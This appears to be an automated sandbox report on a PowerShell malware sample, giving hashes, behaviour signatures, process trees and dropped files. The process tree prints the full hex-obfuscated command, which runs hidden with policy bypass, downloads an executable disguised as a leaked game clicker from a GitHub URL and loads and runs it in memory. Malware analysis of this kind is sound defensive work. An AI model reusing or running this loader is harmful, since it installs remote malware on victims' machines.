Analysis
- max time kernel
149s - max time network
145s - platform
windows10-ltsc_2021_x64 - resource
win10ltsc2021-20260911-en - resource tags
arch:x64arch:x86image:win10ltsc2021-20260911-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows - submitted
17/10/2026, 01:42
Static task
static1
Behavioral task
behavioral1
Sample
powershell -w hidden -nop -ep bypass -c "$s='74-72-79-20-7B-20-24-62-79-74-65-73-20-3D-20-28-4E-65-7.ps1
Resource
win10v2004-20260911-en
Behavioral task
behavioral2
Sample
powershell -w hidden -nop -ep bypass -c "$s='74-72-79-20-7B-20-24-62-79-74-65-73-20-3D-20-28-4E-65-7.ps1
Resource
win10ltsc2021-20260911-en
Behavioral task
behavioral3
Sample
powershell -w hidden -nop -ep bypass -c "$s='74-72-79-20-7B-20-24-62-79-74-65-73-20-3D-20-28-4E-65-7.ps1
Resource
win11-20260911-en
Behavioral task
behavioral4
Sample
powershell -w hidden -nop -ep bypass -c "$s='74-72-79-20-7B-20-24-62-79-74-65-73-20-3D-20-28-4E-65-7.ps1
Resource
win11ltsc2024-20260911-en
General
- Target powershell -w hidden -nop -ep bypass -c "$s='74-72-79-20-7B-20-24-62-79-74-65-73-20-3D-20-28-4E-65-7.ps1
- Size 993B
- Sample261017-b43dlavsev
- SHA256 6f1e63117e69d7eaef80de6c144b074a1d6ca531bf0b051668c1d39f543980b9
- MD5 87e3a27f194a9f5641eaeab141bd362f
- SHA1 03c6aec12ec734cfb5827377d6c6ff640231387a
- SHA512 f2f34805335670bee20c10a477b245ccb37d000cab400c778bfb3445bf52c0a6491c8727cb87612ba32b5e471bdbc993c3b993afed3d28ca9ffb7a6fc64d5580
- TLSH T1F0115450603294ABFD07512BD81701DC3E3912349730F327723A6B56D61A47FB684396
- MD5 SHA1 SHA512 TLSH
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 844 powershell.exe 2192 powershell.exe - Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 844 powershell.exe 844 powershell.exe 2192 powershell.exe 2192 powershell.exe - Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 844 powershell.exe Token: SeDebugPrivilege 2192 powershell.exe - Suspicious use of WriteProcessMemory 1 IoCs
description pid Process procid_target PID 844 wrote to memory of 2192 844 powershell.exe 85
Processes
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy bypass -File "C:\Users\Admin\AppData\Local\Temp\powershell -w hidden -nop -ep bypass -c _$s='74-72-79-20-7B-20-24-62-79-74-65-73-20-3D-20-28-4E-65-7.ps1"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:844 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden -nop -ep bypass -c ='74-72-79-20-7B-20-24-62-79-74-65-73-20-3D-20-28-4E-65-77-2D-4F-62-6A-65-63-74-20-4E-65-74-2E-57-65-62-43-6C-69-65-6E-74-29-2E-44-6F-77-6E-6C-6F-61-64-44-61-74-61-28-27-68-74-74-70-73-3A-2F-2F-67-69-74-68-75-62-2E-63-6F-6D-2F-63-63-73-67-6F-71-2D-62-79-74-65-2F-61-73-64-73-61-2F-72-61-77-2F-6D-61-69-6E-2F-53-61-70-70-68-69-72-65-5F-43-6C-69-63-6B-65-72-25-32-30-28-4F-55-54-44-41-54-45-44-25-32-30-4C-45-41-4B-29-2E-65-78-65-27-29-3B-20-24-61-73-6D-20-3D-20-5B-52-65-66-6C-65-63-74-69-6F-6E-2E-41-73-73-65-6D-62-6C-79-5D-3A-3A-4C-6F-61-64-28-24-62-79-74-65-73-29-3B-20-24-65-6E-74-72-79-20-3D-20-24-61-73-6D-2E-45-6E-74-72-79-50-6F-69-6E-74-3B-20-24-65-6E-74-72-79-2E-49-6E-76-6F-6B-65-28-24-6E-75-6C-6C-2C-20-24-6E-75-6C-6C-29-20-7D-20-63-61-74-63-68-20-7B-20-24-5F-2E-45-78-63-65-70-74-69-6F-6E-20-7C-20-46-6F-72-6D-61-74-2D-4C-69-73-74-20-2D-46-6F-72-63-65-3B-20-70-61-75-73-65-20-7D';iex(-join(-split'-'|%{[char][convert]::ToInt32(,16)}))2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2192
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 82575bc65dfce54754ccd98b26308a1b6087632d4cf938f77574d12925435ae7
- MD5 dd48fff656431b2bf6857200b383a32f
- SHA1 eddd64a105787ce19c0fcbe522cc0a93377400cf
- SHA512 3c04a91c3ee1e4c0927fe7bc5f4ff7b1265f1e17302431573f336c890aee7d4e85b548a55bdc069b904d581837e71d0a8096802a00d73168dc54ce10dd68c0c8
- TLSH T11651CB3133B5A1E489167F4619681AC023BF8355F698AF187698521ED92740B9F222F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 64B
- SHA256 a4b58cc9a5ebb4c083af962d87b93ced140101dd597c63e77d9b2db270cb8bb9
- MD5 9ff5acb111581f5cd37e341c610b2c54
- SHA1 a43be89b6d45bac9e97244f1e1a5a84793e41c83
- SHA512 9d0e1962fd283650ade6d4602d74f45113e82b99d12803426144dfa331e369c8a043c86fe9d4ea13e9798f67bef0b765635bfd0300292242c72e00671de8907f
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lsh2p5jf.u4c.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH